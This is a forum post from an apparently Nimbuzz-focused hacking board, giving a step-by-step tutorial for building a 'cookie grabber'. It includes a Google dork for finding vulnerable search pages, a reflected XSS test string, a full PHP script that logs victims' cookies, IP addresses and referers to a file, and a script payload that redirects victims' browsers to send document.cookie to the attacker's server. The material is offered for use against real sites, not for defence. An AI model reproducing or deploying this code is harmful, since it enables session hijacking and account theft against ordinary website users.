Would you like to react to this message? Create an account in a few clicks or log in to continue.


+nimbuzz, +nimbuzz tricks, +nimbuzz web flood
 
HomeLatest imagesSearchRegisterLog in


1.do not abuse anyone or personal comment to anyone. 2.do not promote your website or forum on this forum.. 3.dont post illegal contents on this forum. 4.do not repeat the posts. thnx regards, team nimbuzz-india

 

 making a working cookie grabber

Go down 
AuthorMessage
Admin
Admin



Posts : 117
Join date : 2011-04-25

making a working cookie grabber Empty
PostSubject: making a working cookie grabber   making a working cookie grabber Icon_minitimeFri Feb 03, 2012 2:15 am

So first we need to find an exploitable site. This one can be used.:

google dork: inurl:".com/search.php?keyword="

why inurl:".com ??? , thats because else we get different websites what is not ur language like japanese. we can change keyword to something else like ?results= , word=,

etc etc

Type this in the search box:
'><script>alert('XSS - UPGOINGSTAR')</script>
' can also be "

if its right, a popup will appear with the message; XSS - UPGOINGSTAR.
Jay, we got a big change to exploit it! Hehe

Lets create THE cookie grabber.

Open notepad and copy/paste this:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('file.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: http://www.site.com/")
?>


save it as cookie.php , and create a .txt file named file.txt , and chmod file.txt to 777.
what does this code do.

1. It steals the cookie ofcurz
2. It writes the cookie to file.txt , we can change that if u want
3. It also writes the ip of the victim, and the date when its happend.
4. When its done, the user will be redirected to site.com

Lets test;

http://www.site.com/search.php
input field:
'><script>document.location.replace('http://www.weRSITE.com/cookie.php?c='+document.cookie);</script>

if its done, then u see the google page at the front of u, and check the file.txt on wer server ..

And also u can try:
http://www.site.com/search.php?keywords='><script>document.location.re place('http://www.weRSITE.com/cookie.php?c='+document.cookie);</script>

sometimes that way will work, sometimes it wont.
Back to top Go down
https://nimbuzz.forummotion.com
 
making a working cookie grabber
Back to top 
Page 1 of 1
 Similar topics
-
» Wep floood
» Working Webflood
» Working New Web Flood!!!
» NEW DRAGONZ ROOM PAASWORD GRABBER.GET ANY ROOM'S PASWORD IN 2 SECONDS
»  LATEST UNLIMITID IDZ FLOOD WORKING

Permissions in this forum:You cannot reply to topics in this forum
 :: Web Application And Security-
Jump to: